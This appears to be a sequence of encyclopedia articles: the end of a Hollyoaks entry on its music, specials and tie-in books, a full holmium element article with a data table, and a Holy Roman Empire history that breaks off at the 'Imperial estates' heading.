          Music


          Hollyoaks is the only major British soap to make use of incidental music. Each episode begins with a current or recent chart song. These have included bands such as Ocean Colour Scene with the song " Hundred Mile High City", Linkin Park, The Pigeon Detectives, Belle & Sebastian, Oasis, Radiohead, Fall Out Boy, Scissor Sisters, U2, Franz Ferdinand, Kaiser Chiefs, Justin Timberlake, The Libertines, The Kooks, Muse, Feeder, Seth Lakeman, Arctic Monkeys, Morrissey, KT Tunstall, The Fratellis, Kasabian, The Darkness, Maroon 5, BabyShambles, Sugababes, 30 Seconds to Mars, Goldfrapp, Dirty Pretty Things, Kate Nash, The Maccabees, Snow Patrol, Rihanna, Amy Winehouse and My Chemical Romance. Current chart songs are not used in the international version of the show; instead library music and a selection of purposely-composed songs are used.


          In 2007, The Alphites were the first band to perform on the show. They played in the SU Bar.


          A "Hollyoaks" soundtrack CD was released in 2001, containing music used in the programme.


          The main theme was written and performed by Steve Wright, who also produced music and themes for Brookside, Grange Hill and other Lime Pictures productions.


          


          Hollyoaks specials


          The show also features occasional late-night spin-off editions, which feature more dramatic or controversial plot lines; these generally do fit into the Hollyoaks universe, and are considered canon. There are also a number of DVD and Video specials.


          


          Hollyoaks DVD and Video specials


          
            	Hollyoaks: Off on One (1998)


            	Hollyoaks: Indecent Behaviour (2001)

          


          


          Hollyoaks Late Night Specials


          
            	Hollyoaks: Breaking Boundaries (2000)


            	Hollyoaks: Boys Do Barca (2000)


            	Hollyoaks: Leap of Faith (2003)


            	Hollyoaks: After Hours (2004)


            	Hollyoaks: In Too Deep (2005)


            	Hollyoaks: Crossing The Line (2005)


            	Hollyoaks: No Going Back (2005)


            	Hollyoaks: Back From The Dead (2006)

          


          Hollyoaks Spin Offs


          
            	Hollyoaks: Movin' On (2001)


            	Hollyoaks: Let Loose (2005)


            	Hollyoaks: In the City (2006)

          


          


          Books


          
            	Hollyoaks: Coming Together (1996)


            	Hollyoaks: Can't Get the Girl (1996)


            	Hollyoaks: New Friends (1997)


            	Hollyoaks: Friends and Families (1997)


            	Hollyoaks: Luke's Secret Diary (2000) Luke dealing with life after being raped by Mark Gibbs


            	Hollyoaks: Lives and Loves of Finn (2000)


            	Hollyoaks: Running Wild (2002): About what Ellie Mills (nee Hunter) did before she came to Hollyoaks and the real reason she returned.


            	Hollyoaks: Seeing Red (2002): about Lisa Hunter self harming.


            	Hollyoaks: Truth or Dare (2006): about Hannah Ashworth, Nancy Hayton and Sarah Barnes on a school trip to France. Although Nicole Owen is featured on the cover she does not appear in the book as she is still in shock after Andy Holt's attack.


            	Hollyoaks: Playing with Fire (2006): this follows the storyline of Becca Dean and Justin Burton's affair.


            	Hollyoaks: Fame Game (2006): about Steph Dean and Debbie Dean in London on a search for stardom.


            	Hollyoaks: Guilt Trip (2006): about Nicole Owen's struggle for a normal life and Sam Owen's plan and action for revenge.
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              	General
            


            
              	Name, Symbol, Number

              	holmium, Ho, 67
            


            
              	Chemical series

              	lanthanides
            


            
              	Group, Period, Block

              	n/a, 6, f
            


            
              	Appearance

              	silvery white

              [image: ]
            


            
              	Standard atomic weight

              	164.93032 (2) gmol1
            


            
              	Electron configuration

              	[Xe] 4f11 6s2
            


            
              	Electrons per shell

              	2, 8, 18, 29, 8, 2
            


            
              	Physical properties
            


            
              	Phase

              	solid
            


            
              	Density (near r.t.)

              	8.79 gcm3
            


            
              	Liquid density at m.p.

              	8.34 gcm3
            


            
              	Melting point

              	1734 K

              (1461 C, 2662 F)
            


            
              	Boiling point

              	2993 K

              (2720 C, 4928 F)
            


            
              	Heat of fusion

              	17.0  kJmol1
            


            
              	Heat of vaporization

              	265  kJmol1
            


            
              	Specific heat capacity

              	(25C) 27.15 Jmol1K1
            


            
              	
                
                  
                    Vapor pressure
                  

                  
                    	P(Pa)

                    	1

                    	10

                    	100

                    	1 k

                    	10 k

                    	100 k
                  


                  
                    	at T(K)

                    	1432

                    	1584

                    	(1775)

                    	(2040)

                    	(2410)

                    	(2964)
                  

                

              
            


            
              	Atomic properties
            


            
              	Crystal structure

              	hexagonal
            


            
              	Oxidation states

              	3

              ( basic oxide)
            


            
              	Electronegativity

              	1.23 (Pauling scale)
            


            
              	Ionization energies

              ( more)

              	1st: 581.0  kJmol1
            


            
              	2nd: 1140 kJmol1
            


            
              	3rd: 2204 kJmol1
            


            
              	Atomic radius

              	175  pm
            


            
              	Miscellaneous
            


            
              	Magnetic ordering

              	paramagnetic
            


            
              	Electrical resistivity

              	( r.t.) (poly) 814 nm
            


            
              	Thermal conductivity

              	(300K) 16.2 Wm1K1
            


            
              	Thermal expansion

              	( r.t.) (poly)

              11.2 m/(mK)
            


            
              	Speed of sound (thin rod)

              	(20 C) 2760 m/s
            


            
              	Young's modulus

              	64.8 GPa
            


            
              	Shear modulus

              	26.3 GPa
            


            
              	Bulk modulus

              	40.2 GPa
            


            
              	Poisson ratio

              	0.231
            


            
              	Vickers hardness

              	481 MPa
            


            
              	Brinell hardness

              	746 MPa
            


            
              	CAS registry number

              	7440-60-0
            


            
              	Selected isotopes
            


            
              	
                
                  
                    Main article: Isotopes of holmium
                  

                  
                    	iso

                    	NA

                    	half-life

                    	DM

                    	DE ( MeV)

                    	DP
                  


                  
                    	163Ho

                    	syn

                    	4570 yr

                    	

                    	0.003

                    	163Dy
                  


                  
                    	164Ho

                    	syn

                    	29 min

                    	

                    	0.987

                    	164Dy
                  


                  
                    	165Ho

                    	100%

                    	165Ho is stable with 98 neutrons
                  


                  
                    	166Ho

                    	syn

                    	26.763 h

                    	-

                    	1.855

                    	166Er
                  


                  
                    	167Ho

                    	syn

                    	3.1 h

                    	-

                    	1.007

                    	167Er
                  

                

              
            


            
              	References
            

          


          Holmium (pronounced /ˈhoʊlmiəm/) is a chemical element with the symbol Ho and atomic number 67. Part of the lanthanide series, holmium is a relatively soft and malleable silvery-white metallic element, which is stable in dry air at room temperature. A rare earth metal, it is found in the minerals monazite and gadolinite.


          


          Notable characteristics


          A trivalent metallic rare earth element, holmium has the highest magnetic moment (10.6B) of any naturally-occurring element and possesses other unusual magnetic properties. When combined with yttrium, it forms highly magnetic compounds.


          Holmium is a relatively soft and malleable element that is fairly corrosion-resistant and stable in dry air at standard temperature and pressure. In moist air and at higher temperatures, however, it quickly oxidizes, forming a yellowish oxide. In pure form, holmium possesses a metallic, bright silvery luster. Holmium oxide has some fairly dramatic color changes depending on the lighting conditions. In daylight, it is a tannish yellow colour. Under trichromatic light, it is a fiery orange red, almost indistinguishable from the way erbium oxide looks under this same lighting. This has to do with the sharp emission bands of the phosphors, and the absorption bands of both oxides.


          


          Applications


          Because of its magnetic properties, holmium has been used to create the strongest artificially-generated magnetic fields when placed within high-strength magnets as a magnetic pole piece (also called a magnetic flux concentrator). Since it can absorb nuclear fission-bred neutrons, the element is also used in nuclear control rods. Other commercial applications of the element include;


          
            	its very high magnetic moment is suitable for use in yttrium-iron- garnet (YIG) and yttrium-lanthanum- fluoride (YLF) solid state lasers found in microwave equipment (which are in turn found in a variety of medical and dental settings).

          


          
            	Holmium oxide is used as a yellow or red glass coloring.


            	Holmium containing glass has been used as a calibration standard for UV/visible spectrophotometers


            	Holmium is one of the colorants used for cubic zirconia, for use in jewelry, providing a dichroic colour in peach or yellow, depending on the lighting source.


            	Holmium may be used as the active ion in some solid state lasers

          


          Few other uses have been identified for this element.


          


          History


          Holmium (Holmia, Latin name for Stockholm) was discovered by Marc Delafontaine and Jacques-Louis Soret in 1878 who noticed the aberrant spectrographic absorption bands of the then-unknown element (they called it "Element X"). Later in 1878, Per Teodor Cleve independently discovered the element while he was working on erbia earth ( erbium oxide).


          Using the method developed by Carl Gustaf Mosander, Cleve first removed all of the known contaminants from erbia. The result of that effort was two new materials, one brown and one green. He named the brown substance holmia (after the Latin name for Cleve's home town, Stockholm) and the green one thulia. Holmia was later found to be the holmium oxide and thulia was thulium oxide.


          


          Occurrence


          Like all other rare earths, holmium is not naturally found as a free element. It does occur combined with other elements in the minerals gadolinite, monazite, and in other rare-earth minerals. It is commercially extracted via ion-exchange from monazite sand (0.05% holmium) but is still difficult to separate from other rare earths. The element has been isolated through the reduction of its anhydrous chloride or fluoride with metallic calcium. Its estimated abundance in the Earth's crust is 1.3 milligrams per kilogram. Holmium obeys the Oddo-Harkins rule: as an odd-numbered element, it is less abundant than its immediate even numbered neighbors, dysprosium and erbium. However, it is the most abundant of the odd-numbered heavy lanthanides. The principal current source are some of the ion-adsorption clays of southern China. Some of these have a rare earth composition similar to that found in xenotime or gadolinite. Yttrium makes up about two-thirds of the total by weight; holmium is around 1.5%. The original ores themselves are very lean, maybe only 0.1% total lanthanide, but are easily extracted.


          


          Isotopes


          Natural holmium contains one stable isotope, holmium 165. Some synthetic radioactive isotopes are known, the most stable one is holmium 163, with a half life of 4570 years. All other radioisotopes have half lives not greater than 1.117 days, and most have half lives under 3 hours.


          


          Precautions


          The element, as with other rare earths, appears to have a low acute toxic rating. Holmium plays no biological role in humans but may be able to stimulate metabolism.
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The extent of the Holy Roman Empire around 1630, superimposed over modern European state borders
                    
                  


                  
                    	Capital

                    	Varied by ruling Holy Roman Emperor
                  


                  
                    	Language(s)

                    	Latin, German, Italian, Czech, Dutch, French, Slovenian and many others
                  


                  
                    	Religion

                    	Catholicism, later Lutheranism and Calvinism
                  


                  
                    	Government

                    	Monarchy
                  


                  
                    	Emperor
                  


                  
                    	- 962 967

                    	Otto I
                  


                  
                    	- 1027 1039

                    	Conrad II
                  


                  
                    	- 1530 1556

                    	Charles V
                  


                  
                    	- 1637 1657

                    	Ferdinand III
                  


                  
                    	- 17921806

                    	Francis II
                  


                  
                    	Legislature

                    	Reichstag
                  


                  
                    	Historical era

                    	Middle Ages
                  


                  
                    	- Otto I crowned Emperor of Italy

                    	February 2, 962
                  


                  
                    	- Conrad II assumes crown of Burgundy

                    	1034
                  


                  
                    	- Peace of Augsburg

                    	25 September 1555
                  


                  
                    	- Peace of Westphalia

                    	24 October 1648
                  


                  
                    	-Disestablished

                    	6 August 1806
                  

                

              
            

          


          The Holy Roman Empire was a union of territories in Central Europe during the Middle Ages and the Early Modern period under a Holy Roman Emperor. The first Holy Roman Emperor was Otto the Great in 962. The last was Francis II, who abdicated and dissolved the Empire in 1806 during the Napoleonic Wars. It was officially known as the Holy Roman Empire of the German Nation from the late 15th century.


          The Empire's territorial extent varied over its history, but at its peak it encompassed the Kingdom of Germany, Italy and Burgundy, territories embracing the present-day Federal Republic of Germany, Austria, Switzerland, the Netherlands, Liechtenstein, Luxembourg, the Czech Republic, Slovenia, Belgium, as well as large parts of modern France, Italy and Poland. For much of its history the Empire consisted of hundreds of smaller principalities, duchies, counties, Free Imperial Cities, as well as several kingdoms and other domains. Despite its name, for most of its existence the Holy Roman Empire did not include Rome within its borders.


          


          Nomenclature


          The Holy Roman Empire was a conscious attempt to revive the Western Roman Empire, considered to have ended with the abdication of Romulus Augustulus in 476. Although Pope Leo III crowned Charlemagne as Imperator Augustus on 25 December 800, and his son, Louis the Pious, was also crowned as Emperor by the Pope, the Empire and the imperial office did not become formalized for some decades, due largely to the Frankish tendency to divide realms between heirs after a ruler's death. It is notable that Louis first crowned himself in 814, upon his father's death, but in 816, Pope Stephen V, who had succeeded Leo III, visited Rheims and again crowned Louis. By that act, the emperor strengthened the papacy by instituting the essential role of the pope in imperial coronations.


          Contemporary terminology for the Empire varied greatly over the centuries. Under Otto I the area of his reign was called "Regnum Francorum Orientalium" or "Regnum Francorum" meaning "Kingdom of the East Franks" or simply "Kingdom of the Franks". The term Roman Empire was used in 1034 to denote the lands under Conrad II, and Holy Empire in 1157. The use of the term Roman Emperor to refer to Northern European rulers started earlier with Otto II (Emperor 973983). Emperors from Charlemagne (Emperor 800814) to Otto I the Great (Emperor 962973) had simply used the phrase Imperator Augustus (both of which, without "Roman", were the preferred titles of Roman Emperors). The precise term Holy Roman Empire (German: Heiliges Rmisches Reich listen; Latin: Sacrum Romanum Imperium) dates from 1254; the final version Holy Roman Empire of German Nation (German Heiliges Rmisches Reich deutscher Nation; Latin: Sacrum Romanum Imperium Nationis Germanic) appears in 1512, after several variations in the late 15th century.


          Contemporaries did not quite know how to describe this entity. In his famous 1667 description De statu imperii Germanici, published under the alias Severinus de Monzambano, Samuel Pufendorf wrote: "Nihil ergo aliud restat, quam ut dicamus Germaniam esse irregulare aliquod corpus et monstro simile ..." ("We are therefore left with calling Germany a body that conforms to no rule and resembles a monster").


          In his Essai sur l'histoire generale et sur les moeurs et l'esprit des nations (1756), the French essayist and philosopher Voltaire described the Holy Roman Empire as an "agglomeration" which was "neither holy, nor Roman, nor an empire".


          In Faust I, in a scene written in 1775, the German author Goethe has one of the drinkers in Auerbach's Cellar in Leipzig ask "Our Holy Roman Empire, lads, what still holds it together?" Goethe also has a longer, not very favourable essay about his personal experiences as a trainee at the Reichskammergericht in his autobiographical work Dichtung und Wahrheit.


          


          History


          


          Origins


          Following the Frankish custom, Charlemagne had intended to divide the territories of the Carolingian Empire between his sons, but as it happened he was survived by only one son, Louis the Pious. Louis accordingly inherited all his father's dominions and the imperial title. Louis's resolution to break with tradition and pass on his lands inviolate to only one of his sons led to the series of civil wars which were ended by the partition of 843. It is important to distinguish (in theory if not always in fact) between the Eastern Frankish Kingdom created by the partition of Charlemagnes territories in 843 and the Empire itself. This distinction is not aided by the fact that the German word Reich is so lacking in specificity. The imperial title was initially conceded to Lothar I the eldest son of Louis the Pious and thereafter passed around various branches of the Carolingian dynasty, often being held by no more than minor northern Italian potentates. The Eastern Frankish Kingdom developed as a separate entity until a non-Carolingian, Henry I the Fowler was elected as its king at the beginning of the 10th century. The subsequent coronation of his son and successor Otto I as Emperor marks the beginning of the association of the Eastern Frankish Kingdom with the Imperial title, an association which then continued unbroken down to the abdication of Francis II in 1806.


          With the split of the Frankish realm in the Treaty of Verdun in 843, the Carolingian dynasty continued independently in all three sections. The eastern part fell to Louis the German, who was followed by several leaders until the death of Louis the Child, the last Carolingian in the eastern part.


          The leaders of Alemannia, Bavaria, Francia and Saxonia elected Conrad I of the Franks, not a Carolingian, as their leader in 911. His successor, Henry (Heinrich) I the Fowler (r. 919936), a Saxon elected at the Reichstag of Fritzlar in 919, achieved the acceptance of a separate Eastern Empire by the West Frankish (still ruled by the Carolingians) in 921, calling himself Rex Francorum Orientalum (King of the East Franks). He founded the Ottonian dynasty.


          Henry designated his son Otto, who was elected King in Aachen in 936, to be his successor. A marriage alliance with the widowed queen of Italy gave Otto control over that nation as well. His later crowning as Emperor Otto I (later called "the Great") in 962 would mark an important step, since from then on the Eastern-Frankish realm  and not the West-Frankish kingdom that was the other remainder of the Frankish kingdoms  would have the blessing of the Pope. Otto had gained much of his power earlier, when, in 955, the Magyars were defeated in the Battle of Lechfeld.
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          In contemporary and later writings, this crowning would also be referred to as translatio imperii, the transfer of the Empire from the Romans to a new Empire. The German Emperors thus thought of themselves as being in direct succession of those of the Roman Empire; this is why they initially called themselves Augustus. Still, they did not call themselves "Roman" Emperors at first, probably in order not to provoke conflict with the Roman Emperor who still existed in Constantinople. The term imperator Romanorum only became common under Conrad II later (than his crowning in 1027, thus in the early-middle 11th century) after the Great Schism.


          At this time, the eastern kingdom was a "confederation" of the old Germanic tribes of the Bavarians, Alemanns, Franks and Saxons. The Empire as a political union probably only survived because of the strong personal influence of King Henry the Saxon and his son, Otto. Although formally elected by the leaders of the Germanic tribes, they were actually able to designate their successors.


          This changed after Henry II died in 1024 without any children. Conrad II, first of the Salian Dynasty, was then elected king in 1024 only after some debate. How exactly the king was chosen thus seems to be a complicated conglomeration of personal influence, tribal quarrels, inheritance, and acclamation by those leaders that would eventually become the collegiate of Electors.


          Already at this time the dualism between the "territories", then those of the old tribes rooted in the Frankish lands, and the King/Emperor, became apparent. Each king preferred to spend most time in his own homelands; the Saxons, for example, spent much time in palatinates around the Harz mountains, among them Goslar. This practice had only changed under Otto III (king 983, Emperor 9961002), who began to utilize bishoprics all over the Empire as temporary seats of government. Also, his successors, Henry II, Conrad II, and Henry III, apparently managed to appoint the dukes of the territories. It is thus no coincidence that at this time, the terminology changes and the first occurrences of a regnum Teutonicum (German Kingdom) are found.
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          The Empire almost collapsed in the Investiture Controversy, in which Pope Gregory VII declared a ban on King Henry IV (king 1056, Emperor 10841106). Although this was taken back after the 1077 Walk to Canossa, the ban had wide-reaching consequences. Meanwhile, the German dukes had elected a second king, Rudolf of Swabia, whom Henry IV could only defeat after a three-year war in 1080. The mythical roots of the Empire were permanently damaged; the German king was humiliated. Most importantly though, the church was clearly an independent player in the political system of the Empire, not subject to imperial authority.


          


          Under the Hohenstaufen


          Conrad III came to the throne in 1138, the first of the Hohenstaufen dynasty which restored the Empire, even under the new conditions of the 1122 Concordat of Worms. It was Frederick I "Barbarossa" (king 1152, Emperor 11551190) who first called the Empire "holy", with which he intended to address mainly law and legislation.
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          Also, under Barbarossa, the idea of the "Romanness" of the Empire culminated again, which seemed to be an attempt to justify the Emperor's power independently of the (now strengthened) Pope. An imperial assembly at the fields of Roncaglia in 1158 explicitly reclaimed imperial rights at the advice of quattuor doctores of the emerging judicial facility of the University of Bologna, citing phrases such as princeps legibus solutus ("the emperor [princeps] is not bound by law") from the Digestae of the Corpus Juris Civilis. That the Roman laws were created for an entirely different system and didn't fit the structure of the Empire was obviously secondary; the point here was that the court of the Emperor made an attempt to establish a legal constitution.


          Imperial rights had been referred to as regalia since the Investiture Controversy, but were enumerated for the first time at Roncaglia as well. This comprehensive list included public roads, tariffs, coining, collecting punitive fees, and the investiture, the seating and unseating of office holders. These rights were now explicitly rooted in Roman Law, a far-reaching constitutional act; north of the Alps, the system was also now connected to feudal law, a change most visible in the withdrawal of the feuds of Henry the Lion in 1180 which led to his public banning. Barbarossa thus managed for a time to more closely bind the stubborn Germanic dukes to the Empire as a whole.


          Another important constitutional move at Roncaglia was the establishment of a new peace ( Landfrieden) for all of the Empire, an attempt to (on the one hand) abolish private vendettas not only between the many local dukes, but on the other hand a means to tie the Emperor's subordinates to a legal system of jurisdiction and public prosecution of criminal acts  a predecessor concept of " rule of law", in modern terms, that was, at this time, not yet universally accepted.


          In order to solve the problem that the emperor was (after the Investiture Controversy) no longer as able to use the church as a mechanism to maintain power, the Staufer increasingly lent land to ministerialia, formerly unfree service men, which Frederick hoped would be more reliable than local dukes. Initially used mainly for war services, this new class of people would form the basis for the later knights, another basis of imperial power.


          Another new concept of the time was the systematic foundation of new cities, both by the emperor and the local dukes. These were partly due to the explosion in population, but also to concentrate economic power at strategic locations, while formerly cities only existed in the shape of either old Roman foundations or older bishoprics. Cities that were founded in the 12th century include Freiburg, possibly the economic model for many later cities, and Munich.


          The later reign of the last Staufer Emperor, Frederick II, was in many ways different from that of earlier Emperors. Still a child, he first reigned in Sicily, while in Germany, Barbarossa's second son Philip of Swabia and Henry the Lion's son Otto IV competed with him for the title of King of the Germans. After finally having been crowned emperor in 1220, he risked conflict with the pope when he claimed power over Rome; astonishingly to many, he managed to claim Jerusalem in a crusade in 1228 while still under the pope's ban.


          While Frederick brought the mythical idea of the Empire to a last high point, he was also the one to initiate the major steps that led to its disintegration. On the one hand, he concentrated on establishing an innovative state in Sicily, with public services, finances, and other reforms. On the other hand, Frederick was the emperor who granted major powers to the German dukes in the form of two far-reaching privileges that would never be reclaimed by the central power. In the 1220 Confoederatio cum principibus ecclesiasticis, Frederick gave up a number of regalia in favour of the bishops, among them tariffs, coining, and fortification. The 1232 Statutum in favorem principum mostly extended these privileges to the other (non-clerical) territories (Frederick II was forced to give those privileges by a rebellion of his son, Henry). Although many of these privileges had existed earlier, they were now granted globally, and once and for all, to allow the German dukes to maintain order north of the Alps while Frederick wanted to concentrate on his homelands in Italy. The 1232 document marked the first time that the German dukes were called domini terr, owners of their lands, a remarkable change in terminology as well.


          The Teutonic Knights were invited to Prussia by Duke Konrad of Masovia to Christianize the Prussians in 1226.


          During the long stays of the Hohenstaufen emperors (11381254) in Italy, the German princes became stronger and began a successful, mostly peaceful colonisation of West Slavic lands, so that the empire's influence increased to eventually include Pomerania and Silesia.


          


          Rise of the territories after the Staufen
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          After the death of Frederick II in 1250, none of the dynasties worthy of producing the king proved able to do so, and the leading dukes elected several competing kings. The time from 1246 (beginning with the election of Heinrich Raspe and William of Holland) to 1273, when Rudolph I of Habsburg was elected king, is commonly referred to as the Interregnum. During the Interregnum, much of what was left of imperial authority was lost, as the princes were given time to consolidate their holdings and become even more independent rulers.
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          In 1257, there occurred a double election which produced a situation that guaranteed a long interregnum. William of Holland had fallen the previous year, and Conrad of Swabia had died three years earlier. First, three electors ( Palatinate, Cologne and Mainz) (being mostly of the Guelph persuasion) cast their votes for Richard of Cornwall who became the successor of William of Holland as king. After a delay, a fourth elector, Bohemia, joined this choice. However, a couple of months later, Bohemia and the three other electors Trier, Brandenburg and Saxony voted for Alfonso X of Castile, this being based on Ghibelline party. The realm now had two kings. Was the King of Bohemia entitled to change his vote, or was the election complete when four electors had chosen a king? Were the four electors together entitled to depose Richard a couple of months later, if his election had been valid?
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          The difficulties in electing the king eventually led to the emergence of a fixed college of electors, the Kurfrsten, whose composition and procedures were set forth in the Golden Bull of 1356. This development probably best symbolizes the emerging duality between Kaiser und Reich, emperor and realm, which were no longer considered identical. This is also revealed in the way the post-Staufen kings attempted to sustain their power. Earlier, the Empire's strength (and finances) greatly relied on the Empire's own lands, the so-called Reichsgut, which always belonged to the respective king (and included many Imperial Cities). After the 13th century, its relevance faded (even though some parts of it did remain until the Empire's end in 1806). Instead, the Reichsgut was increasingly pawned to local dukes, sometimes to raise money for the Empire but, more frequently, to reward faithful duty or as an attempt to civilize stubborn dukes. The direct governance of the Reichsgut no longer matched the needs of either the king or the dukes.


          Instead, the kings, beginning with Rudolph I of Habsburg, increasingly relied on the lands of their respective dynasties to support their power. In contrast with the Reichsgut, which was mostly scattered and difficult to administer, these territories were comparably compact and thus easier to control. In 1282, Rudolph I thus lent Austria and Styria to his own sons.


          With Henry VII, the House of Luxembourg entered the stage. In 1312, he was crowned as the first Holy Roman Emperor since Frederick II. After him all kings and emperors relied on the lands of their own family (Hausmacht): Louis IV of Wittelsbach (king 1314, emperor 13281347) relied on his lands in Bavaria; Charles IV of Luxembourg, the grandson of Henry VII, drew strength from his own lands in Bohemia. Interestingly, it was thus increasingly in the king's own interest to strengthen the power of the territories, since the king profited from such a benefit in his own lands as well.


          The 13th century also saw a general structural change in how land was administered. Instead of personal duties, money increasingly became the common means to represent economic value in agriculture. Peasants were increasingly required to pay tribute for their lands. The concept of "property" more and more replaced more ancient forms of jurisdiction, although they were still very much tied together. In the territories (not at the level of the Empire), power became increasingly bundled: Whoever owned the land had jurisdiction, from which other powers derived. It is important to note, however, that jurisdiction at this time did not include legislation, which virtually did not exist until well into the 15th century. Court practice heavily relied on traditional customs or rules described as customary.


          It is during this time that the territories began to transform themselves into predecessors of modern states. The process varied greatly among the various lands and was most advanced in those territories that were most identical to the lands of the old Germanic tribes, e.g. Bavaria. It was slower in those scattered territories that were founded through imperial privileges.


          


          Imperial Reform
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          The "constitution" of the Empire was still largely unsettled at the beginning of the 15th century. Although some procedures and institutions had been fixed, for example by the Golden Bull of 1356, the rules of how the king, the electors, and the other dukes should cooperate in the Empire much depended on the personality of the respective king. It therefore proved somewhat fatal that Sigismund of Luxemburg (king 1410, emperor 14331437) and Frederick III of Habsburg (king 1440, emperor 14521493) neglected the old core lands of the empire and mostly resided in their own lands. Without the presence of the king, the old institution of the Hoftag, the assembly of the realm's leading men, deteriorated. The Reichstag as a legislative organ of the Empire did not exist yet. Even worse, dukes often went into feuds against each other that, more often than not, escalated into local wars.


          At the same time, the church was in crisis too. The conflict between several competing popes was only resolved at the Council of Constance ( 1414 1418); after 1419, much energy was spent on fighting the heresy of the Hussites. The medieval idea of a unified Corpus christianum, of which the papacy and the Empire were the leading institutions, began to decline.


          With these drastic changes, much discussion emerged in the 15th century about the Empire itself. Rules from the past no longer adequately described the structure of the time, and a reinforcement of earlier Landfrieden was urgently called for. During this time, the concept of "reform" emerged, in the original sense of the Latin verb re-formare, to regain an earlier shape that had been lost.


          When Frederick III needed the dukes to finance war against Hungary in 1486 and at the same time had his son, later Maximilian I elected king, he was presented with the dukes' united demand to participate in an Imperial Court. For the first time, the assembly of the electors and other dukes was now called Reichstag (to be joined by the Imperial Free Cities later). While Frederick refused, his more conciliatory son finally convened the Reichstag at Worms in 1495, after his father's death in 1493. Here, the king and the dukes agreed on four bills, commonly referred to as the Reichsreform (Imperial Reform): a set of legal acts to give the disintegrating Empire back some structure. Among others, this act produced the Imperial Circle Estates and the Reichskammergericht (Imperial Chamber Court); structures that would  to a degree  persist until the end of the Empire in 1806.


          However, it took a few more decades until the new regulation was universally accepted and the new court began to actually function; only in 1512 would the Imperial Circles be finalized. The King also made sure that his own court, the Reichshofrat, continued to function in parallel to the Reichskammergericht. It is interesting to note that in this year, the Empire also received its new title, the Heiliges Rmisches Reich Deutscher Nation ("Holy Roman Empire of the German Nation").


          


          Crisis after Reformation


          In 1517, Martin Luther initiated what would later be known as the Reformation. At this time, many local dukes saw a chance to oppose the hegemony of Emperor Charles V. The empire became then fatally divided along religious lines, with the North, the East, and many of the major cities Strasbourg, Frankfurt and Nurembergbecoming Protestant while the southern and western regions largely remained Catholic. Religious conflicts were waged in various parts of Europe for a century, though in German regions there was relative quiet from the Peace of Augsburg in 1555 until the Defenestration of Prague in 1618. When Bohemians rebelled against the emperor, the immediate result was the series of conflicts known as the Thirty Years' War (16181648), which devastated the Empire. The population of the German lands was reduced by about 30%. Foreign powers, including France and Sweden intervened in the conflict and strengthened those fighting Imperial power, but they also seized considerable chunks of territory for themselves. The long conflict bled the Empire to such a degree that it would never recover its former strength.


          


          The long decline
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          The actual end of the empire came in several steps. The Peace of Westphalia in 1648, which ended the Thirty Years' War, gave the territories almost complete sovereignty. The Swiss Confederation, which had already established quasi-independence in 1499, and the Northern Netherlands left the empire. Although its constituent states still had some restrictions  in particular, they could not form alliances against the Emperor  the Empire from this point was a powerless entity, existing in name only. The Habsburg Emperors instead focused on consolidating their own estates in Austria and elsewhere.


          By the rise of Louis XIV, the Habsburgs were dependent on the position as Archdukes of Austria to counter the rise of Prussia, some of whose territories lay inside the Empire. Throughout the 18th century, the Habsburgs were embroiled in various European conflicts, such as the War of the Spanish Succession, the War of the Polish Succession and the War of the Austrian Succession. The German dualism between Austria and Prussia dominated the empire's history after 1740. From 1792 onwards, revolutionary France was at war with various parts of the Empire intermittently. The Empire was formally dissolved on August 6, 1806 when the last Holy Roman Emperor Francis II (from 1804, Emperor Francis I of Austria) abdicated, following a military defeat by the French under Napoleon (see Treaty of Pressburg). Napoleon reorganized much of the empire into the Confederation of the Rhine, a French satellite. Francis' House of Habsburg-Lorraine survived the demise of the Empire, continuing to reign as Emperors of Austria and Kings of Hungary until the Habsburg empire's final dissolution in 1918 in the aftermath of World War I. Meanwhile, the Napoleonic Confederation of the Rhine was replaced by the German Confederation and the North German Confederation in succession, until the German-speaking territories outside of Austria were united under Prussian leadership in 1871, as the German Empire, the predecessor-state of modern Germany.


          


          Successor German empires


          After the end of the Napoleonic Wars a new German Confederation was established in 1815. It lasted until 1866 when Prussia dissolved the German Confederation to form the North German Confederation which became a nation state in 1871 (see German Empire).


          


          Present-day remnants


          It is sometimes claimed that the only surviving fragment of the Empire is the tiny, independent Principality of Liechtenstein, located between Switzerland and Austria.


          There is still a Habsburg claimant to the Imperial throne, Otto von Habsburg. However, the throne of the Empire was never merely hereditary, and titles of nobility no longer have official standing in Germany and the other central European republics.


          


          Institutions


          From the High Middle Ages onwards, the Empire was stamped by an uneasy coexistence with the struggle of the dukes of the local territories to take power away from it. To a greater extent than in other medieval kingdoms such as France and England, the Emperors were unable to gain much control over the lands that they formally owned. Instead, to secure their own position from the threat of deposition, Emperors were forced to grant more and more autonomy to local rulers, both nobles and bishops. This process began in the 11th century with the Investiture Controversy and was more or less concluded with the 1648 Peace of Westphalia. Several Emperors attempted to reverse this steady dissemination of their authority, but were thwarted both by the papacy and by the princes of the Empire.


          


          King of the Romans
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          A prospective Emperor had first to be elected King of the Romans (Rex romanorum/rmischer Knig). Kings had been elected since time immemorial: in the 9th century by the leaders of the five most important tribes: (the Salian Franks of Lorraine, the Ripuarian Franks of Franconia, and the Saxons, Bavarians, and Swabians); later by the main dukes and bishops of the kingdom; finally only by the so-called Kurfrsten (electing dukes, electors). This electoral college was formally established in 1356 by the King of Bohemia Charles IV, through a decree known as the Golden Bull. Initially, there were seven electors: the Count Palatine of the Rhine, the King of Bohemia, the Duke of Saxony, the Margrave of Brandenburg, and the Archbishops of Cologne, Mainz, and Trier. During the Thirty Years' War, the Duke of Bavaria was given the right to vote as the eighth elector. A candidate for election would be expected to offer concessions of land or money to the electors in order to secure their vote.


          The newly elected king then travelled to Rome to be crowned Emperor by the Pope. In many cases, this took several years while the King was held up by other tasks: frequently he first had to resolve conflicts in rebellious northern Italy, or was in quarrel with the Pope himself. Later Emperors dispensed with the papal coronation altogether, being content with the styling Emperor-Elect: the last Emperor to be crowned by the Pope was Charles V in 1530.


          The Emperor had to be a man of good character over 18 years. All four of his grandparents were expected to be of noble blood. No law required him to be a Catholic, though imperial law assumed that he was. He did not need to be a German (Charles V and Alfonso of Castille were not, and Henry VIII of England was a candidate in the election of 1519). By the 17th century candidates generally possessed estates within the Empire. Louis XIV, King of France, considered allowing Alsace-Lorraine, a recently acquired French territory, to remain within the Empire in order to allow him to be a candidate for the throne.


          At no time could the Emperor simply issue decrees and govern autonomously over the Empire. His power was severely restricted by the various local leaders: after the late 15th century, the Reichstag established itself as the legislative body of the Empire, a complicated assembly that convened irregularly at the request of the Emperor at varying locations. Only after 1663 would the Reichstag become a permanent assembly.


          


          Imperial estates


